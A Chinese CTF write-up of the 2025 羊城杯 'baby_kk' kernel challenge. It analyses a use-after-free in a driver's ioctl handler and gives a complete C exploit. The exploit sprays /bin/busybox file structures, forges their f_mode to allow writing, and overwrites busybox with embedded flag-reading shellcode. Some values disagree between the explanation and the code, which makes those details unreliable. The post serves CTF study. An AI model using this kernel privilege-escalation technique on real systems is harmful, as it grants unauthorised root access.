羊城杯 2025初赛 baby_kk 利用busybox

baby_kk

方法一(堆喷busybox 来分配file结构体)

分析:

run.sh
#!/bin/sh
qemu-system-x86_64 \
  -m 256M \
  -cpu kvm64,+smep,+smap \
  -smp cores=2 \
  -kernel bzImage \
  -hda ./rootfs.img \
  -nographic \
  -snapshot \
  -append "console=ttyS0 root=/dev/sda rw kaslr pti=on quiet oops=panic" \
  -monitor /dev/null \
  -no-reboot \
  -s

可见开启了很多保护,经过笔者测试本题还开启了Random freelist(CONFIG_SLAB_FREELIST_RANDOM=y)

不过无伤大雅,可以利用堆喷绕过。

rcS
#!/bin/sh
chown -R root:root /
chmod 700 /root
chown -R ctf:ctf /home/ctf

chmod 700 /root/flag
chown -R root:root /root/flag

mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
mkdir /dev/pts
mount -t devpts devpts /dev/pts

insmod /root/baby_kk.ko
chmod 666 /dev/baby_kk

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
echo 8 > /proc/sys/kernel/printk

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid /bin/cttyhack setuidgid 1000 /bin/sh


cd /home/ctf
su ctf -c sh

poweroff -d 0  -f

漏洞点

image-20251023162647768

这里kfree后没有对指针清空存在UAF,而且也只是清空了标记,没有对size清空,所以我们在kmalloc分配后再编辑写入0x100的大小的数据后释放掉堆,不仅可以再编辑堆还可以进行读取。

其它代码的分析如下:
LABEL_25:                                       // 命令0x1111 - 分配堆块
      if ( v40 <= 0x4FF && v39 <= 0x100 )       // 检查索引和大小是否有效
      {
        if ( byte_2518[32 * v40] )              // 检查堆块是否已分配
        {
          v6 = -16LL;
          goto LABEL_10;
        }
        v13 = _kmalloc_cache_noprof(            // 使用随机化的kmalloc缓存分配内存 GFP_KERNEL  分配0x100
                kmalloc_caches[14 * ((0x61C8864680B583EBLL * (random_kmalloc_seed ^ retaddr)) >> 60) + 8],
                0xDC0LL,
                0x100LL);
        v14 = v40;
        if ( v40 >= 0x500 )
        {
          v35 = v13;
          _ubsan_handle_out_of_bounds(&off_1DC0, v40);
          v13 = v35;
        }
        heap_list[4 * v14] = v13;
        if ( v14 >= 0x500 )                     // 越界处理
        {
          v34 = v13;
          _ubsan_handle_out_of_bounds(&off_1DA0, v14);
          v13 = v34;
        }
        if ( !v13 )                             // 分配失败检查
        {
          v6 = -12LL;
          goto LABEL_10;
        }
        if ( v14 >= 0x500 )
          _ubsan_handle_out_of_bounds(&off_1D80, v14);
        qword_2510[4 * v14] = 0LL;              // 初始化读偏移
        if ( v14 >= 0x500 )
          _ubsan_handle_out_of_bounds(&off_1D60, v14);
        qword_2508[4 * v14] = 0LL;              // 初始化写偏移/大小
        if ( v14 >= 0x500 )
          _ubsan_handle_out_of_bounds(&off_1D40, v14);
        byte_2518[32 * v14] = 1;                // 标记堆块为已分配
        goto LABEL_9;
      }
LABEL_59:
      v6 = -22LL;
      goto LABEL_10;
    }
    if ( (_DWORD)myrsi != 0x4444 )              // 命令0x4444 - 读取数据
      goto LABEL_59;
    v8 = v38;                                   // 用户缓冲区指针
    if ( !v38 )
      goto LABEL_59;
    v9 = v40;                                   // 堆块索引
    if ( v40 > 0x4FF )
      goto LABEL_59;
    v10 = heap_list[4 * v40];                   // 获取堆块指针
    if ( !v10 )
      goto LABEL_59;
    v3 = qword_2510[4 * v40];                   // 当前读偏移
    v11 = qword_2508[4 * v9];                   // 当前写偏移/数据大小
    if ( v11 < v3 )
      goto LABEL_59;
    v2 = v39;                                   // 要读取的大小
    if ( v9 >= 0x500 )                          // 边界检查
    {
      v26 = v10;
      v31 = v8;
      _ubsan_handle_out_of_bounds(&off_1B80, v9);
      _ubsan_handle_out_of_bounds(&off_1B60, v9);
      v10 = v26;
      v8 = v31;
    }
    if ( v11 - v3 < v2 )                        // 检查剩余数据是否足够
      goto LABEL_59;
    if ( v9 >= 0x500 )                          // 边界检查
    {
      v25 = v10;
      v30 = v8;
      _ubsan_handle_out_of_bounds(&off_1B40, v9);
      _ubsan_handle_out_of_bounds(&off_1B20, v9);
      _ubsan_handle_out_of_bounds(&off_1B00, v9);
      _ubsan_handle_out_of_bounds(&off_1AE0, v9);
      v10 = v25;
      v8 = v30;
    }
    v12 = v2;
    if ( v2 > 0x100 )                           // 检查读取大小是否超过256字节限制
    {
      _fortify_panic(17LL, 256LL);
      goto LABEL_25;
    }
LABEL_51:
    if ( v9 >= 0x500 )                          // 边界检查
    {
      v23 = v12;
      v27 = v10;
      v37 = v8;
      _ubsan_handle_out_of_bounds(&off_1AC0, v9);
      _ubsan_handle_out_of_bounds(&off_1AA0, v9);
      v12 = v23;
      v10 = v27;
      v8 = v37;
    }
    v28 = v8;
    memcpy(v41, (const void *)(v10 + (v3 << 8)), v12);// 从堆块拷贝数据到内核缓冲区
    _check_object_size(v41, v2, 1LL);
    if ( !copy_to_user(v28, v41, v2) )          // 将数据从内核缓冲区拷贝到用户空间
    {
      v19 = v40;
      if ( v40 >= 0x500 )
        _ubsan_handle_out_of_bounds(&off_1A80, v40);
      v6 = v39;
      v20 = qword_2510[4 * v19];                // 当前读偏移
      if ( v19 >= 0x500 )
        _ubsan_handle_out_of_bounds(&off_1A60, v19);
      qword_2510[4 * v19] = v6 + v20;           // 更新读偏移
      goto LABEL_10;
    }
LABEL_73:                                       // 命令0x3333 - 写入数据
    v6 = -14LL;
    goto LABEL_10;
  }
  v15 = v38;
  if ( !v38 )
    goto LABEL_59;
  if ( v40 > 0x4FF )
    goto LABEL_59;
  if ( !heap_list[4 * v40] )
    goto LABEL_59;
  v16 = v39;
  if ( v39 > 0x100 )
    goto LABEL_59;
  _check_object_size(v41, v39, 0LL);
  if ( copy_from_user(v41, v15, v16) )
    goto LABEL_73;
  v9 = v40;
  v17 = v39;
  if ( v40 >= 0x500 )
  {
    v33 = v39;
    _ubsan_handle_out_of_bounds(&off_1C80, v40);
    v17 = v33;
  }
  v18 = (void *)heap_list[4 * v9];
  if ( v9 >= 0x500 )
  {
    v32 = v17;
    _ubsan_handle_out_of_bounds(&off_1C60, v9);
    v17 = v32;
  }
  if ( v17 > 0x100 )
  {
    v10 = _fortify_panic(16LL, -1LL);
    goto LABEL_51;
  }
  if ( v9 >= 0x500 )
  {
    v36 = v17;
    _ubsan_handle_out_of_bounds(&off_1C40, v9);
    v17 = v36;
  }
  memcpy(v18, v41, v17);                        // 从内核缓冲区拷贝数据到堆块
  v22 = v40;
  if ( v40 >= 0x500 )
    _ubsan_handle_out_of_bounds(&off_1C20, v40);
  v6 = v39;
  qword_2508[4 * v22] = v39;
  if ( v22 >= 0x500 )
    _ubsan_handle_out_of_bounds(&off_1C00, v22);
  qword_2510[4 * v22] = 0LL;
LABEL_10:
  mutex_unlock(&lock);
  return v6;
}

利用思路

因为这是CTF题目,基本都是用busybox来充当文件系统提供应用基础环境。对于要获取flag来说就能利用busybox来进行一些操作,如果要提权还得考虑其它方法。

本题内核版本是v6.14,对应的file结构体如下:

struct file {
	file_ref_t			f_ref;
	spinlock_t			f_lock;
	fmode_t				f_mode;
	const struct file_operations	*f_op;
	struct address_space		*f_mapping;
	void				*private_data;
	struct inode			*f_inode;
	unsigned int			f_flags;
	unsigned int			f_iocb_flags;
	const struct cred		*f_cred;
	/* --- cacheline 1 boundary (64 bytes) --- */
	struct path			f_path;
	union {
		/* regular files (with FMODE_ATOMIC_POS) and directories */
		struct mutex		f_pos_lock;
		/* pipes */
		u64			f_pipe;
	};
	loff_t				f_pos;
#ifdef CONFIG_SECURITY
	void				*f_security;
#endif
	/* --- cacheline 2 boundary (128 bytes) --- */
	struct fown_struct		*f_owner;
	errseq_t			f_wb_err;
	errseq_t			f_sb_err;
#ifdef CONFIG_EPOLL
	struct hlist_head		*f_ep;
#endif
	union {
		struct callback_head	f_task_work;
		struct llist_node	f_llist;
		struct file_ra_state	f_ra;
		freeptr_t		f_freeptr;
	};
	/* --- cacheline 3 boundary (192 bytes) --- */
} __randomize_layout
  __attribute__((aligned(4)));	/* lest something weird decides that 2 is OK */

分配此结构体能从kmalloc-256中取,而题目中创建的堆也刚好是0x100大小,所以能刚好分配到file结构体.

我们 spray 一堆 /bin/busybox 的 file 结构体,让file 结构体占用kfree掉的堆

修改该 file 结构体的 f_mode 字段,从而将 /bin/busybox 的权限改为可写,其中正常 /bin/busybox 的权限为 -rwxr-xr-x, 并不具备可写权限。

我们写 /bin/busybox 为可以 get flag 的简单 binary,然后在 cmd 里面 exit系统会以高权限执行 /bin/busybox, 从而获取 flag

这里有一个问题,为什么我们需要写的是 /bin/busybox,这是因为我们熟悉的ls cat exit这些指令,本质为指向/bin/busybox的软链接,执行这些指令时,实际上是执行 /bin/busybox,所以我们只需要修改 /bin/busybox 的权限即可,而我们读 flag 需要提权,正常的用户进程没有这么高的权限,但是看到了/bin/busybox在执行exit时为高权限,就想到利用它完成提权。

堆喷busybox
    for (int i = 0; i < 0x100; i++)
    {
        busybox_fd[i] = open("/bin/busybox",O_RDONLY);
        if(busybox_fd[i]<0){
            err_exit("open /bin/busybox failed...");
        }
    }
    print_c("spray busybox finish....");

这里喷射大量busybox 希望有file结构体占用释放的堆。

设置写权限
    print_c("set f_mode 通过对写权限的检查");
    uint32_t tmp[0x10]={0};
    tmp[1] = 0x1;
    tmp[3] = 0xC4E801F;


    for(int i = 0;i<0x500;i++){
        edit(i,tmp,0x10);
    }

这里要设置f_ref不为空否则会报错,设置f_mode具有写权限

这里设置f_mode0xC4E801F是因为:f_mode 要修改成的 flag为 原值 | FMODE_CAN_WRITE | FMODE_WRITE,注意要加上 FMODE_CAN_WRITE这样才有可写权限。

这些 flags 的具体取值和功能在 这里

如下:

image-20251023171125216

f_mode原值为0x0c4a901d

那么改后为 0x0c4a901d + 0x00040000 + 0x00000002 = 0xC4E901F

写shellcode

这里可以注意一下,我们改的是该进程的 file 结构体的 f_mode,也就是在该进程尝试写入 /bin/busybox 的时候,能通过对写权限的检查,整个的 /bin/busybox 权限并不会变化

    for(int i = 0;i<0x100;i++){
        int write_size = write(busybox_fd[i],shellcode,sizeof(shellcode));
        if(write_size>0){
            printf("write %d size to busybox_fd[%d]\n",write_size,i);
            break;
        }
    }
    print_c("write busybox finish....");
    for (int i = 0; i < 0x100; i++)
    {
        close(busybox_fd[i]);
    }

完整exp:

#include "kernel_pwn.h"

#define MAX_PIPE_COUNT 0x100

size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t kernel_base;
size_t pop_rdi = 0xffffffff81348ec2;
size_t commit_creds = 0xffffffff813c46f0;
size_t init_cred = 0xffffffff8368c1a0;
size_t swapgs_restore_regs_and_return_to_usermode_addr = 0xffffffff81001150+0x1b;

int fd;
int pipe_fd[MAX_PIPE_COUNT][2];
int already_read[MAX_PIPE_COUNT];
int busybox_fd[0x100];

struct node
{
	void *user_buf;
	size_t size;
	size_t idx;
};

struct node my_node;

int add(size_t idx,size_t size){
	my_node.size = size;
	my_node.idx = idx;
	return ioctl(fd,0x1111,&my_node);
}

int del(size_t idx){
	my_node.idx = idx;
	return ioctl(fd,0x2222,&my_node);
}

int read_data(size_t idx,void *addr,size_t size){
    my_node.user_buf = addr;
    my_node.size = size;
    my_node.idx = idx;
	return ioctl(fd,0x4444,&my_node);
}

int edit(size_t idx,void *addr,size_t size){
	my_node.user_buf = addr;
	my_node.size = size;
	my_node.idx = idx;
	return ioctl(fd,0x3333,&my_node);	
}

//堆喷pipe
void sparay_pipes(int start,int cnt){
    // char *buf[0x1000] = {0};
    printf("[*] enter %s start from index: %d\n", __PRETTY_FUNCTION__, start);

    for(int i = start;i<cnt;i++){
        if(pipe(pipe_fd[i])<0){
            err_exit("creat pipe failed...");
        }
    }
}

//修改pipe_buffer大小为0x100
void pipe_buffer_resize(){
    print_c("[*] pipe buffer resize");
    for(int i =0;i<MAX_PIPE_COUNT;i++){
        if(fcntl(pipe_fd[i][1],F_SETPIPE_SZ,0x1000*4)<0){
            err_exit("pipe set size failed.....");
        }
    }
}



void pipe_buffer_init(){
    print_c("[*] pipe buffer init");
    for(int i =0;i<MAX_PIPE_COUNT;i++){
        uint32_t k = i;
        write(pipe_fd[i][1],"saul666",8);
        write(pipe_fd[i][1],&k,sizeof(uint32_t));
    }
}

unsigned char shellcode[552] = {
    0x7F, 0x45, 0x4C, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x02, 0x00, 0x3E, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x02, 0x00, 0x40, 0x00, 0x03, 0x00, 0x02, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x4F, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0xE5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x68, 0x60, 0x66, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01, 0x48, 0xB8, 0x2F, 0x72,
    0x6F, 0x6F, 0x74, 0x2F, 0x66, 0x6C, 0x50, 0x48, 0x89, 0xE7, 0x31, 0xD2, 0x31, 0xF6, 0x6A, 0x02,
    0x58, 0x0F, 0x05, 0x31, 0xC0, 0x6A, 0x03, 0x5F, 0x6A, 0x64, 0x5A, 0xBE, 0x01, 0x01, 0x01, 0x01,
    0x81, 0xF6, 0x01, 0x03, 0x01, 0x01, 0x0F, 0x05, 0x6A, 0x01, 0x5F, 0x6A, 0x64, 0x5A, 0xBE, 0x01,
    0x01, 0x01, 0x01, 0x81, 0xF6, 0x01, 0x03, 0x01, 0x01, 0x6A, 0x01, 0x58, 0x0F, 0x05, 0x00, 0x00,
    0x2E, 0x73, 0x68, 0x73, 0x74, 0x72, 0x74, 0x61, 0x62, 0x00, 0x2E, 0x73, 0x68, 0x65, 0x6C, 0x6C,
    0x63, 0x6F, 0x64, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x4F, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 
};
int main(){
	bind_core(0);
	save_status();

    char buf[0x100] = {0};
    char data[0x100] = {0};

	fd = open("/dev/baby_kk",2);
	if(fd<0){
		err_exit("open fd failed...");
	}


    for(int i = 0;i<0x500;i++){
        add(i,0x100);
        edit(i,buf,0x100);
    }

    for(int i = 0;i<0x500;i++){
        del(i);
    }

    print_c("[*] alloc and free finish...");


    for (int i = 0; i < 0x100; i++)
    {
        busybox_fd[i] = open("/bin/busybox",O_RDONLY);
        if(busybox_fd[i]<0){
            err_exit("open /bin/busybox failed...");
        }
    }
    print_c("spray busybox finish....");

    print_c("set f_mode 通过对写权限的检查");
    uint32_t tmp[0x10]={0};
    tmp[0] = 0x1;
    tmp[3] = 0xC4E801F;


    for(int i = 0;i<0x500;i++){
        edit(i,tmp,0x10);
    }

    for(int i = 0;i<0x500;i++){
        read_data(i,data,0x10);
        binary_dump(data,0x10,0);
    }

    
    for(int i = 0;i<0x100;i++){
        int write_size = write(busybox_fd[i],shellcode,sizeof(shellcode));
        if(write_size>0){
            printf("write %d size to busybox_fd[%d]\n",write_size,i);
            break;
        }
    }
    print_c("write busybox finish....");
    for (int i = 0; i < 0x100; i++)
    {
        close(busybox_fd[i]);
    }

	return 0;
}

image-20251023171639743

最后执行exit拿到flag

方法二(堆喷msg_msg & pipe_buffer)

因为本题有UAF,又能读取,编辑这些,所以笔者本来想利用 堆喷msg_msg结构体来泄露堆地址,然后再堆喷pipe_buffer来泄露内核基地址,最后劫持pipe_buffer的ops中的release达到ROP的效果。

但是笔者测试了好几个小时一直卡在msg_msg泄露堆地址,不知道是姿势不对还是什么,如果有大佬知道,麻烦教教鼠鼠。

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值